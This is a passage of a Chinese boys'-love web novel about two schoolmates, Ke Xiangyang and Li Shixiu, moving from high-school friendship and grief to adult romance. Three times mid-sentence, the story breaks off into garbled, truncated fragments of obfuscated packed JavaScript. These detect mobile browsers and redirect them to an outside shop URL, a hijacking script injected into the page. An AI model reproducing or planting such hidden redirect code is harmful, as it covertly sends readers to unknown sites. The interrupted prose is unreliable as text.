柯向阳扫了眼,有很多自己不认识的饮料,犹豫几秒,厉时修直接拿出两瓶易拉罐装的饮料:“跟我喝一样的吧,这个果汁味道不错。” “好哦。”柯向阳跟着厉时修回到客厅,坐在沙发上喝果汁。 冰凉的液体顺着喉咙进入食道,整个人都凉快了。 饭后,柯向阳习惯性地想要收拾饭桌,却被厉时修拦下:“不用,阿姨会来收拾。” 柯向阳不自在地收回手。 “这是人家的工作,你不用觉得不好意思,阿姨工资很高的。”厉时修拉着柯向阳走向客厅的大电视前蹲下,打开电视柜翻找起来,“玩游戏吗?” 柯向阳好奇道:“什么游戏啊?我没怎么玩过游戏的。” “很简单。”厉时修递给柯向阳一个游戏手柄,“我教你。” 第一次玩这种游戏,柯向阳觉得很有意思,和厉时修一起玩了好几个小时,期间阿姨给他们端来了水果零食,便不再打扰。 厉时修平时不会这么沉迷游戏,今天有柯向阳陪着,还一直夸他好厉害,连玩个超级玛丽都要拼命夸他,厉时修面上不显,心里却受用得很。 原本要做作业的计划搁置了,放下游戏手柄,阿姨也煮好了宵夜,柯向阳闻到厨房传来的香味,肚子应景地响了起来:“好香啊。” 没一会,阿姨端着宵夜走出来,笑道:“饿了吧,快来吃吧。” 柯向阳朝阿姨道了谢,坐到餐桌前。 宵夜煮的是馄饨,怕两个正在长身体的孩子吃不饱,阿姨特地加了面条,做成了馄饨面。 此刻,碗里的馄饨面冒着腾腾热气,澄澈的汤底里加了猪油、虾米和紫菜,鲜香扑鼻,面上放着几个元宝状的馄饨,薄如蝉翼的面皮里包裹着饱满的粉嫩肉馅,舀起一个送进嘴里,滚烫中肉汁的鲜味在舌尖炸开,还带点虾仁的清甜。 “好好吃。”柯向阳只来得及说这么一句,嘴巴便闲不下来了。 见他喜欢,厉时修将自己的馄饨舀给他。 “不用不用,我够吃了。”柯向阳连连摆手。 厉时修:“是我吃不完,帮我吃点。” 柯向阳听到这话,乐呵呵地一笑,吃得更香了,一滴汤都舍不得浪费。 厉时修看着柯向阳,眼里满是自己都没察觉的笑意。 柯向阳:“我奶奶做菜也好吃,下次你去我家玩吧?” “好。” * 秉着礼尚往来的原则,第二周,柯向阳迫不及待地把厉时修带回去了。 周六上午,两人坐在回村的公交车上,柯向阳不忘给厉时修打个预防针:“我家是土房子,比不上城里的房子那么漂亮,不过奶奶打扫得很干净,你别担心。” “我一点也不担心。”听到柯向阳重点强调了干净二字,厉时修有些无语,自己的洁癖没有很严重吧? 柯向阳:“不介意就好,呵呵。” 车子经过一段不太平坦的小路,摇摇晃晃,柯向阳望着窗外,兴奋道:“快到了。” 公交车只在每个村的村口停下,下了车还得走一段路,柯向阳边走边给厉时修介绍着自己的村子。 厉时修第一次亲眼看到乡下的砖瓦房,完全不同于城市里的高楼大厦,新鲜感十足。 虽然已经是十一月,天气依旧炎热,走到家时,两人流了一身的汗。 柯向阳一边喊着“奶奶我们回来了”,一边带厉时修往房间走。 等进了房间发现没有空调,只有一台老式风扇在吱呀吱呀地转着头,厉时修顿时呆住了。 “不好意思,我家没有空调,你坐这吹一会风扇,很快就凉快了。”柯向阳给他搬来一张带靠背的竹椅子,将摇头的风扇固定下来,正对着竹椅子。 “为什么不装一台空调?”厉时修依言坐下,大长腿憋屈地缩在一处。 “家里平时就奶奶一个人,她不觉得热,装空调嫌浪费。”柯向阳这么多年也习惯了,所以没觉得不好。 “热坏了吧?快来吃点西瓜,在井里浸过的,跟放冰箱的不一样,可凉可甜了。”奶奶笑眯了眼,端着一盘切成三角块的西瓜进来,招呼厉时修吃瓜。 “谢谢奶奶。”厉时修礼貌地拿起一片瓜。 “不谢不谢,别这么客气,就当在自己家啊!”这是柯向阳第一次带朋友回家,奶奶比他还高兴,不住地打量厉时修,“这孩子,长得可真俊,奶奶活了这么久,还没见过比你更俊的人。” 厉时修俊脸微红,难得害羞起来。 “奶奶,你别这么看人家,给人看不好意思了。”柯向阳挡在厉时修身前,不满道。 “不看了不看了,奶奶去给你们做好吃的。”奶奶笑拍了下柯向阳的背,“柜子里有刚买的馓子和桃酥,你去拿来给同学吃。” “知道了。”柯向阳一手拿着西瓜,一手推着奶奶往外走。 看着祖孙两人的互动,厉时修勾起嘴角,咬一口手里的西瓜,果然有股特别的清甜。 没一会,柯向阳拎着两个红色塑料袋回来,打开袋子,里面还有两层封了口的白色保鲜袋:“这是桃酥,这是馓子,你应该没吃过馓子吧?可香了。” 桃酥厉时修是知道的,馓子倒是头一回见,只见一根根细面般的馓条层层堆叠,交织缠绕,经过油炸后通体金黄,咬上一口咸香酥脆。 厉时修不喜欢甜食,只尝了半块桃酥,馓子比较合他的胃口,不知不觉跟柯向阳一起吃了大半袋。 “不吃了,收起来吧,等会吃不下饭了。”厉时修克制地住了嘴。 柯向阳将层层叠叠的袋子重新扎好,以免漏气。 厉时修往屋外望去,问:“要不要去给奶奶帮忙?” “不用不用,我们去只会影响奶奶的发挥,我每次想帮忙都会被她赶出去,嫌我帮倒忙。”柯向阳摆摆手,可不想去找骂。 两人吃完西瓜,把盘子拿去洗的时候,奶奶正好喊他们吃饭。 满满一桌子的菜,比起过年也不遑多让,奶奶还一直说着没什么菜,让厉时修千万别客气。 “我奶奶做的菜好吃吧?”柯向阳的脸上带着两分小骄傲。 “很好吃。”厉时修发自内心地称赞。 奶奶笑着给他们一人夹了个大鸡腿:“好吃就多吃点,以后常来,奶奶还有好多拿手菜呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171868|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 饭后,柯向阳带厉时修一起去洗碗,怕弄脏衣服,给他戴了奶奶的围裙,大红的围裙上身,瞬间变成迷你型号,惹得柯向阳一阵大笑。 “你怎么不戴?”厉时修不满地问。 “我洗碗很熟练,不需要。”柯向阳忍着笑道。 厉时修面露怀疑,看柯向阳呲着个牙傻乐,脸上是从未见过的轻松自在,不由心中一软,戴个围裙而已,没什么大不了。 农村的午后十分安静,没有汽车的鸣笛声,也没有工地上的施工噪音,连盛夏时节的蝉鸣都逐渐消散。 厉时修与柯向阳一起躺在床上,竹席用井水擦过一遍,冰冰凉凉,风扇转着头将两人从头吹到脚,舒适又惬意。 他转头看向身侧闭着双眼的柯向阳,呼吸平稳,似乎已经熟睡,微翘的睫毛乖巧搭在眼睑处,再凑近点,可以清楚看见细腻皮肤上微小的绒毛。 窗外阳光正盛,厉时修重新躺好,抬手遮住眼睛,在即将入睡之际,脑中闪过一个念头,这样的生活似乎也不错。 * 厉时修本以为这样快乐的日子还有很长,但意外来得太快,快到根本不给人反应的时间。 奶奶的离世对他们而言是极其沉重的打击。 听到这个消息时,厉时修正在首都的厉家主宅里。 明明只是摔了一跤,他去医院探望奶奶的时候她还十分精神,没想到短短几天病情急转直下,再次看见的只有灵堂上奶奶的遗照。 厉时修从首都赶来,陪伴柯向阳度过了那段他最痛苦的时期,两人的关系也进一步变得亲密起来,应该说柯向阳变得更加依赖他了。 对于这种转变,厉时修很显然是喜闻乐见的,可当他察觉到内心深处的欣喜时,又觉得奇怪,自己为什么要因为柯向阳的亲近而高兴? 这段感情是从什么时候开始变质的?厉时修自己都说不清楚。只记得因为某个荒谬的梦境而惊醒的自己有多狼狈。 没睡好的厉时修眼下挂着两个黑眼圈出现在教室,柯向阳关切地问:“厉哥,你昨晚几点睡的啊?” “不记得了。”厉时修打了个呵欠,坐在位置上想补觉。 柯向阳拍拍厉时修的肩:“厉哥,先别睡,把你作业给我看一下,我对对答案。” 厉时修直接将书包丢过去:“自己找。” 补了一个早读的觉,厉时修的大脑清醒了些,结果又在午休时被柯向阳一句话给问懵了。 “厉哥,你对同性恋有什么看法呀?” 没想到会从柯向阳口中听到这个词,厉时修几乎要怀疑自己的耳朵出现问题了。脑海中不由自主浮现出梦里的场景,肮脏的欲望赤裸裸地摊在眼前,不容忽略。 “哥……厉哥……厉哥!”柯向阳的声音在耳边炸开,将厉时修从自己的思绪中拉出,他歪着头,问:“你在想什么呢?” 回过神的厉时修望着柯向阳坦然的双眼,越发觉得对朋友产生欲望的自己实在是……“好恶心。” 柯向阳一愣,随即逃避般地转开视线:“啊,是、是吗?” 厉时修并没有意识到自己在说什么,此刻的他肉眼可见地烦躁起来:“为什么突然问我这个?” “就、就是好奇嘛,前几天在网上看见了,说实话,我也觉得同性恋不正常,哈哈。”柯向阳干笑两声,垂下眼帘。 觉得自己恶心是一回事,可听到柯向阳这么说,厉时修心里还是很不好受:“是吗?” 柯向阳看了眼厉时修面无表情的脸,点点头:“是啊,我在网上看到别人说同性恋是一种病呢。” 厉时修沉着脸:“少在网上看乱七八糟的东西。” 柯向阳将头转向另一侧,自言自语般说道:“如果不是得病了,一个男生怎么会喜欢上另一个男生呢?” “……”厉时修久久发不出声。 有些情感,连说出口的机会都没有,就已经宣告结束。 48. 高中回忆篇(下) 高三学业繁重,不管老师还是学生,都如同上紧了弦的钟,一刻不敢松懈。 眼下距离高考仅剩百天,为多争取一点复习的时间,柯向阳周末也选择留校。 对厉时修而言,参加高考不过是为了检验自己高中三年的学习成果,但柯向阳不一样,他的目标是尽最大努力考上一所好大学,不得不铆足了劲地去用功。 学校食堂的饭菜没什么滋味,只能用来填肚子,有时候柯向阳会忘记吃饭的时间,等他想起来,食堂窗口已经关闭了。 好在小卖部一直是开着的,柯向阳没吃上饭,就去小卖部买个面包或买桶泡面,将就应付一顿。 这一切厉时修全看在眼里,可柯向阳不愿意跟他回家,说是偶尔去一次还行,每周都去太没礼貌了,那里毕竟是他舅舅家。 经过上次的话题,厉时修能感觉到他与柯向阳之间的相处不似之前那样亲密,像是隔了一层纱,有意无意地避免各种肢体接触。 厉时修知道自己会不自在是因为心虚,带着那种见不得人的小心思,他无法保证自己一点情绪都不外露。 至于柯向阳,早看透了他鸵鸟属性的厉时修很清楚,只要自己有一丝想要远离的想法,对方一定会比他跑得更快更远。 柯向阳虽然总是一副缺心眼的模样,其实内心敏感得很,想来也是察觉到厉时修的变化,才会选择配合他。 厉时修看着柯向阳又一次拒绝自己后离开的背影,面上的冷冽加深了几分。 他不是个耐心的人,偏偏在柯向阳身上给了太多例外,如今是该顺势疏远,还是继续当无事发生,厉时修陷入一个两难的境地。 不过他的纠结并没有持续太久,因为一看到柯向阳日益消瘦的脸颊,什么理智都荡然无存。 * 又是一个周五。 放学后,不喜欢跟人挤食堂的柯向阳坐在位置上,拿出自己没做完的卷子,想在教室把剩下的部分做完再去食堂。 教室里的同学渐渐走光,只剩厉时修和柯向阳两人。 柯向阳转头朝厉时修挥了挥手,道了声别,继续低头做卷子。 厉时修盯着他的头顶,冷着脸连名带姓地喊了一声:“柯向阳。” “怎么了?”柯向阳仰头,疑惑地问。 “跟我走。” 厉时修不由分说拉着柯向阳往外走,他知道对付柯向阳必须直截了当,要将鸵鸟的脑袋一把从沙里拽出,不给任何逃避的机会。 两人并排坐在车后座,气氛一时有些尴尬,厉时修率先开口:“前阵子我家里有些事,所以心情不太好,你别放在心上。” 柯向阳正襟危坐,僵硬地点了点头。 “如果你不能接受这个解释,不想再跟我有什么关系,我可以现在送你回学校。”厉时修以退为进。 事实证明,柯向阳就是软硬都吃,他小声地说:“我能接受,我还想跟你做朋友的。” 厉时修眼中闪过一丝笑意,佯装不悦:“那你不许再躲着我。” “我没躲你啊。”柯向阳狡辩。 厉时修冷哼一声,没有戳穿。 司机将两人送到家,阿姨已经炖好滋补的鸡汤。 厉时修夹起一个大鸡腿放进柯向阳碗里:“越到这种时候,越是要注意身体,不吃好睡好怎么能行?你看看你这阵子瘦了多少?” “厉哥,谢谢你。”鸡腿肉嫩,炖得软烂,柯向阳咬下一口,感觉仿佛尝到了奶奶的味道,顿时鼻头微酸。 厉时修看出柯向阳一瞬间的脆弱,胸口跟着酸胀起来,抬手揉了揉他的头发:“跟我客气什么?” 夜里,完成了学习任务的两人站在阳台吹风,柯向阳说起前两天晚自习下课的时候,他看见班里的数学课代表跟隔壁班的一个女生偷偷牵了手,差点被班主任撞上。 厉时修对这些八卦没兴趣,但只要是柯向阳讲的,他都会认真听。 见柯向阳描述得活灵活现,越说越兴奋,厉时修突然问了句:“你也想谈恋爱吗?” “啥?”柯向阳下意识地歪头看向厉时修。 厉时修思索了会,改口道:“你有喜欢的人吗?” 柯向阳显然没想到厉时修会这么问,目光闪躲,随后点了点头。 厉时修一时怔住,柯向阳有喜欢的人了?这个事实仿佛一块巨石,死死压住他的胸口,让他喘不过气来。 晚风徐徐,将两个心事重重的少年吹得眉头紧皱。 厉时修好不容易平复下心情,艰难开口:“是谁?什么时候的事?” “我不确定是什么时候,不过人家不喜欢我,就不说名字了,反正我们也没可能。”柯向阳冲厉时修微微一笑,面上明显带着两分失落。 心头那阵酸涩成倍翻涌,厉时修不明白,柯向阳明明每天都跟自己腻在一起,到底哪来的时间去认识甚至喜欢别的女生,而他居然完全没发现。 “厉哥你呢?有喜欢的人吗?”柯向阳好奇反问。 “没有。”厉时修拳头紧握,面无表情地回答,“你现在的任务是好好复习,别把心思放在不相干的事上。” “知道啦,不过我没什么追求,能考个本科就可以了。”柯向阳将手搭在阳台的护栏上,抬头看天。 “目标当然要定得越高越好,已经努力了这么久,不要在这种时候说丧气话。”厉时修不赞同地说道。 柯向阳嘿嘿一笑:“我只是清楚自己的斤两,能考上大学就不错了。” “不同的学校,环境和资源是完全不一样的,以后毕业找工作,第一学历也非常重要,不然为什么会说高考是一次命运的转折点呢?”说到这,厉时修放柔了语气,“高考后我就要出国了,以后不在你身边,很多事情无法顾及,所以我希望你能进入一个更好的环境,不要让我担心。” 柯向阳脸上的笑随着厉时修的话语慢慢凝固,他知道厉时修要出国,此刻乍然听到这个消息,心中依旧难受得要命:“你走了,我又没有朋友了。” 厉时修:“到了大学可以交新的朋友。” “那不一样。”柯向阳嘟囔着。 不可否认,听到这句话时,厉时修心中相当受用,他曲起手指轻轻敲了一下柯向阳的脑袋:“我只是出国,又不是跟你绝交。” 柯向阳低落的情绪一直到睡前才缓过来。 洗漱过的两人并排躺在宽敞的大床上,阳台的帘子没有拉上,满月光辉洒进房间,亮堂得如同开了灯。 厉时修闭着眼,静静躺了半个小时,仍毫无睡意。 耳边传来规律又沉重的呼吸声,他微微侧身撑起脑袋,看向熟睡的柯向阳。 目光扫过白净的脸庞、浓密的睫毛,顺着高挺笔直的鼻梁往下,定格在红润的双唇上。 他伸出手慢慢靠近,却在即将触碰到的时候停下,不知想到什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171869|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后收回了手。 重新躺下时,厉时修朝柯向阳的方向挪了挪,直至两人的肩膀轻轻碰在一处。 * 高考前的时光虽然辛苦,也是一段值得珍藏的回忆。 有厉时修盯着,柯向阳的一日三餐不仅变得十分规律,还营养均衡,连身高都窜了两厘米。 厉时修将自己为数不多的耐心全部倾注到柯向阳身上,硬生生将他的模拟考成绩往上提了几十分。 高考后两人在家里放纵地打了几天游戏,然后一起去了游乐园。 出分那天,柯向阳紧张得不敢看,厉时修替他输入准考证号和身份证号,问:“准备好了吗?” “我不行,你帮我看吧。”柯向阳捂着眼睛直摇头。 厉时修毫不犹豫地点下查询按钮,经过一阵难熬的加载,与估分时相差无几的数字跃然眼前。 他勾起嘴角,强硬地扯下柯向阳的手:“快看。” 柯向阳眯着眼,勉强看清自己的分数,先是一愣,随后凑近了反复确认无误,大叫着一把抱住厉时修。 厉时修整个人顿时僵在原地,摊开的双手根本不敢落在柯向阳背上。 那只是一个极度喜悦而短暂的拥抱,柯向阳沉浸在自己的世界中,没有察觉到厉时修的异常。 望着柯向阳脸上灿烂的笑容,厉时修跟着释然一笑,不着痕迹地藏住眼底的落寞。 柯向阳填报完志愿没多久,厉时修便要离开了。 两人在机场的安检口挥手告别,相背而行。 登上飞机,厉时修掏出手机给柯向阳发了条消息:【登机了,你哪到了?】 柯向阳反手发来一张机场入口的照片:【等飞机起飞我再走。】 厉时修心想,在那个位置又看不见飞机起飞,但想让柯向阳早点回去的话却怎么也说不出口。 剧烈的轰鸣声中,飞机缓缓滑入主跑道,远处的航站楼在视野中越变越小,乘务员开始播报安全须知,厉时修将起飞的消息告诉柯向阳,对面很快回复:【好的,到了记得告诉我,照顾好自己。】 望着窗外越来越广阔的地面风景,厉时修只觉心中一块十分重要的地方被永远留在这个城市。 * 柯向阳在厉时修离开后没多久找了份暑期兼职。 刚开始两人还能保持每天联系,哪怕只是一句简单的问候。 但时差的影响渐渐显露,等到明大开学,两人的联系更是肉眼可见地减少。 正如厉时修所言,进入大学的柯向阳交到了新的朋友,其中他提到最多的便是那个叫乔梦书的舍友。 见柯向阳亲密地称呼对方“乔乔”,厉时修心中陡然升起一阵危机感,转念一想,柯向阳喜欢女生,又不由释然,交到新朋友总比交了女朋友好。 厉时修的手指在手机屏幕上一点点滑动,将柯向阳发来的消息看了一遍又一遍,上面的聊天时间还停留在三天前。 他也试过想要趁此机会将这份没有结果的感情放下,可他忍不住,哪怕远在万里之外,心中的挂念仍只增不减。 对话框里突然跳出新消息,柯向阳发来几张照片:【厉哥,今天我们宿舍聚餐,这家烧烤店好好吃,等你回来我带你来吃呀!】 厉时修一张张点开照片,将带有柯向阳的合照保存进相册,回复了个“好”。 不能当恋人,那就当一辈子的好朋友吧。 49. 学长(上) 夜深。 本在熟睡中的厉时修睁开双眼,房间里一片漆黑,这一霎那,他有种自己仍在国外独自生活的错觉。 伸手往身侧摸索,顺着一片衣角摸到柯向阳腰间的软肉。 刚醒来时的孤独感瞬间消退。 柯向阳像是痒到了,发出一阵模糊不清的呓语,伸手挠了挠自己裸露在外的腰肢。 厉时修轻轻一笑,侧身把他搂进怀中。 饶是柯向阳睡眠再好,此刻也被他闹醒了,睁开眼迷迷糊糊地问:“怎么了?要喝水吗?” “没有,只是做了个梦。”厉时修亲了亲他的头顶。 “做梦?噩梦吗?”柯向阳清醒了些,安抚般拍拍厉时修的后背。 厉时修:“不是,梦见我们高中时的事了。” “怎么突然梦见高中的事啊?”柯向阳窝在厉时修怀中找了个舒服的姿势,侧脸靠在他胸前。 当初两人阴差阳错产生了许多误会,白白耽误这么多年的时光。 柯向阳曾对此表示遗憾,后来转念想想,如果高考后他们在一起了,得谈七年的异国恋,说不定都熬不到厉时修回来就分手了。 不知怎的,听厉时修提起高中,柯向阳眼前不由自主浮现出曾经的尴尬场景,受不了地将脑袋往厉时修怀里拱。 正重新酝酿睡意的厉时修拍了拍柯向阳的屁股:“作什么怪?” 柯向阳自然是不会把自己那些想想都社死的回忆说出来,但脑海中的画面挥之不去,越想越难受。 厉时修的一点困意全被蛄蛹没了,掀开被子,一个翻身压住柯向阳:“不想睡的话就来干点别的。” 柯向阳捂着脸,扭捏道:“这么晚了,明天还上班呢。” “反正你也睡不着。”厉时修面无表情地脱下睡衣,随后拉开柯向阳的手,在他唇上狠狠亲了一口。 柯向阳顺势搂住厉时修的脖子,很快在逐渐上升的体温中迷失自己。 * 立冬之后,天气渐渐凉快下来,几只小猫身上的毛都变厚了点。 此刻柯向阳躺在沙发上看电视,身侧乖乖窝着四只猫,惬意得很。 另一边,厉时修专心致志剥着手里的柚子,将隔膜撕开后,还要细细挑掉上面的白色筋络,剥好的柚子肉一瓣瓣摆放在盘子里,晶莹剔透。 柯向阳对柚子兴趣不大,不过如果剥好递到他嘴边,他还是会给面子地吃两口。 “甜吗?”厉时修投喂的手指有意无意抚过柯向阳水润的嘴唇。 “嗯,甜。”柯向阳带着几分敷衍地点点头,挥开了厉时修挡在自己面前的手,双眼专注地盯着电视屏幕。 “是吗?我尝尝。”厉时修捏住柯向阳的下巴,强硬地将他的脸转向自己,精准捕获那两片唇瓣,细细舔吻起来。 “唔……”柯向阳来不及躲避,轻轻锤了两下厉时修的胸口,回应他的是更加肆无忌惮的入侵。 “喵呜~”见怪不怪的小猫们在两个主人纠缠到一块时,迅速从沙发上一哄而散。 唇舌交缠间,柯向阳半推半就地沉溺其中,没办法,厉时修的吻技越来越好了。 眼瞅着两人又要擦枪走火,柯向阳强迫自己从那个窒息的吻中挣脱而出,不满地瞪了厉时修一眼:“你干嘛!我看电视呢。” “电视比我好看?”厉时修眯了眯眼。 “我看完这集就不看了。”柯向阳追的是最近很火的一部悬疑片,乔梦书强烈推荐,两个人不仅要准时追更,看完还要讨论很久的剧情走向。 今天周六,正好是小雪,几个朋友约好来家里吃火锅,一会就得出门去买食材,短暂的独处时光,柯向阳的注意力全在电视上,自觉被冷落的厉时修双手抱胸靠坐在沙发上,一言不发。 柯向阳察觉到他的不悦,讨好地挽着他的胳膊:“哎呀,不看了不看了,电视哪有你好看?” 厉时修没吭声。 “看看这英俊的脸庞,这冷酷的气质,怎么会有人长得这么帅啊?”柯向阳抬手描摹起厉时修的五官,“原来是我男朋友啊。” “什么时候变得这么油嘴滑舌了?”厉时修摆出的臭脸绷不住了,一把抱住柯向阳挠他的痒痒肉。 “哈哈哈哈,我错了我错了!别挠了!”柯向阳拼命讨饶,笑得眼泪直冒。 两人闹了一通,剧都播完了,厉时修才拉起柯向阳一块去换衣服,准备出门。 * 和乔梦书约好了在超市见,到的时候看见他身边还跟着个齐朔。 乔梦书向两人挥了挥手,随后朝身边的齐朔道:“看见人了,你可以走了。” 齐朔试图去拉他的手,被甩开也不在意:“那你晚上结束了叫我,我来接你。” 乔梦书没说话,齐朔当他默许了,热情地跟柯向阳他们打了个招呼,识趣离开。 “你俩咋回事?这是在一起了?”柯向阳好奇地问。 乔梦书摇摇头。 柯向阳一脸不信:“没在一起他怎么天天跟着你?” “我也烦着呢。”乔梦书对着货架上几种火锅底料挑挑拣拣。 “我看你明明很喜欢。”柯向阳对他拱拱鼻子做了个鬼脸,“番茄味的怎么样?这是海底捞同款诶。” “吃火锅肯定要吃辣锅啊!会不会吃啊你。”乔梦书拿了包正宗川味火锅底料。 “可以吃鸳鸯锅啊。”柯向阳不死心道,他很喜欢海底捞的番茄锅。 “鸳鸯锅的另一半当然得是骨头汤啊!”乔梦书说得理所当然,“你们熬骨头汤了吗?” “没有。”柯向阳老实道,骨头汤他也挺喜欢的,“不然买个浓汤宝好了。” “那怎么能一样,等会买点大骨头回去现熬吧。”乔梦书坚决抵制科技。 “现熬多费时间啊,还是吃番茄锅吧。”柯向阳嫌麻烦,“再不行吃清汤锅呗。” “反正是周末,晚上吃晚点有啥关系,熬吧熬吧。”乔梦书一锤定音。 柯向阳看着手里的番茄锅底料难以舍弃,最后决定干脆煮两锅,都要熬汤了,也不在乎多洗一个锅了。 厉时修推着购物车跟在两人身后,偶尔往里加点柯向阳喜欢的东西。 纪向松说好会带海鲜过来,他们便没有买。 看着满满当当的购物车,柯向阳突然想起家里的啤酒不多了:“再买点啤酒吧。” “酒水区在另一头。”乔梦书看了眼指示牌,指了个方向,“走吧。” 柯向阳和乔梦书边走边聊,突然听到一声带着几分迟疑的呼唤:“柯向阳?” 三人停下脚步,动作一致地往后望去,不远处站着个斯文的年轻男人,眼神逐渐从不确定转变为惊喜:“还有梦书,真的是你们,差点以为看错了。” 面对那张熟悉的脸,柯向阳反映了会,才在记忆中找到那个对应的称呼:“杜学长?” 杜博远点点头:“好久不见,没想到能在这里遇见你们。” 乔梦书也想起来了,笑着与他打招呼。 杜博远看见一旁的厉时修,主动伸手:“这位是你们的朋友吧,你好,我叫杜博远,是向阳和梦书的大学学长。” 厉时修微微颔首,回握了下他的手:“厉时修。” 随后杜博远的目光转回柯向阳身上:“大学毕业后就没再跟你们联系过了,你们看起来一点都没变。” 乔梦书:“学长你倒是变了点,戴隐形眼镜了?” 杜博远:“没有,我做了近视手术,现在不用戴眼镜了。” “不戴眼镜确实更帅了。”乔梦书熟练地寒暄着,“我记得你毕业之后去了省外工作,这个时候回来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171870|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休假还是?” 杜博远:“跳槽回来的,以后就在鹤水市工作了。” “回来好啊,外面哪有家里舒服。”柯向阳乐呵呵地接了一句。 “对啊,刚回来就跟你们偶遇,真是太有缘了,有没有时间一起吃个饭?我请客。”杜博远一看柯向阳,眼中便神采奕奕。 厉时修在一旁看得眉头微蹙。 “不好意思啊学长,本来这么久没见该我们请你吃饭的,只是今天不方便,我们已经有约了。”乔梦书遗憾道。 杜博远理解地笑了笑:“没事没事,我以后都在这,随时可以约饭,到时候你们可得赏脸啊。” “一定一定。”乔梦书边说边不着痕迹地看了眼厉时修的表情。 厉时修面色如常,还在杜博远挥手道别时跟他说了声“再见”。 大学时期的柯向阳不像高中那么孤僻,加上跟乔梦书合得来,被他带着一起参加各种聚餐和联谊,认识了不少人。 用乔梦书的话来说,柯向阳就是个天然钓系,撩人而不自知,所以明里暗里不知伤了多少人的心,杜博远便是其中之一。 当初柯向阳明确拒绝过杜博远,为了不给对方念想连联系方式都删掉了。 现在看来,杜博远对柯向阳明显还有想法。 乔梦书觉得厉时修肯定看出点什么来了,但人家没开口问,他不好多事,只能找个机会提醒一下柯向阳别因此跟厉时修产生误会。 此刻,柯向阳一副浑然不觉的样子,买完啤酒又拉着乔梦书去买零食。 柯向阳:“这个牌子的风干牛肉你吃过吗?” 乔梦书:“没有,你买点尝尝呗。” 柯向阳纠结道:“万一不好吃呢?” 乔梦书翻了个白眼:“不好吃就给你老公吃。” 柯向阳:“他的嘴比我还挑。” 厉时修:“……” “那你觉得原味和香辣买哪种好?” “不能都买吗?” 被这么一打岔,乔梦书完全将要提醒柯向阳的事抛之脑后。 * 晚上,一行人围着两个煮沸的火锅吃得不亦乐乎。 纪向松带来的海鲜全是高档货,放入现熬的骨头汤里烫熟即食,鲜美无比。 柯向阳吃了几个蟹腿就觉得饱,不由感叹自己的食量越来越小。 “什么几个蟹腿,你怎么不说说你前面吃了多少东西?水果、奶茶、蛋糕、肉干,现在还能吃得下火锅,你已经食量大如牛了。”乔梦书无情拆穿。 “我有吃那么多东西吗?”柯向阳觉得自己只是每样东西尝了个味,谁让熬骨头汤耽误了不少时间,等得他饥肠辘辘。 厉时修给他夹了一筷子烫好的牛肉,纵容道:“不多。” 乔梦书表示真是没眼看。 嘴上说着饱了饱了的柯向阳,闻见番茄锅的味道又觉得开胃,甚至用锅底泡了一小碗米饭。 吃完才觉得罪恶,自己肚子上的软肉越来越厚了。 “没事,反正三哥不嫌弃你,吃吧吃吧。”厉时谦怂恿道,这样他就不是这群人中最胖的那个了,来鹤水市后伙食太好,他重了好几斤。 程嘉弘最近也被乔梦瑶勒令减肥了,要为之后拍婚纱照做准备。 江景意不语,只是一味地捞海鲜和牛肉吃。 这顿火锅吃了两个多小时,几人歪七扭八地瘫在沙发上,连根手指都不想动,缓了好久才离开。 临走前他们贴心地做完了善后工作,柯向阳起身看了一圈,没什么要收拾的,抬脚准备去洗漱。 厉时修一把拉住他,圈在怀中。 柯向阳不解:“干嘛呢?我要去洗澡了。” 厉时修轻咬一口他的脸颊,语气温和道:“不着急,先跟我说说那个杜学长是怎么回事。” 50. 学长(下) 上大学之前,柯向阳真正意义上的朋友只有厉时修一个,所以对于交朋友这件事,他毫无经验。 可厉时修说他会交到新的朋友,柯向阳便将这句话当成自己的目标,他不想让厉时修担心。 明大的宿舍是四人间,上床下桌,柯向阳的舍友里有两个外省的,剩下那个就是和他同为本地人的乔梦书。 大概是因为地域缘故,柯向阳对乔梦书多了一分亲近,尤其是发现乔梦书讲话直、嘴巴毒的特点后,更让他感受到一种久违的亲切感。 于是他学着厉时修对待自己那样与乔梦书相处,导致乔梦书看他的眼神越来越奇怪。 面对总爱献殷勤的柯向阳,乔梦书一度以为他对自己有意思,终于在一次柯向阳主动帮他把一大堆快递取回宿舍时爆发了:“虽然我是同性恋,但我对你这种类型没兴趣,你死心吧。” 乔梦书的话对柯向阳而言无异于晴天霹雳,把他雷得外焦里嫩。 见柯向阳没有反应,乔梦书继续说:“咱俩一看就撞号了,你到底怎么想的?我可不会为爱做1。” 柯向阳涨红了脸,连连摆手:“我我我、我不是……” 乔梦书诧异道:“你不是同?” “我不是想追你!”柯向阳崩溃大喊,他没想到以厉时修为参考对象总结出的交友方式会引发这么一个大乌龙,尴尬得想找个地洞钻进去。 “那你对我这么好干嘛?”乔梦书一脸无语。 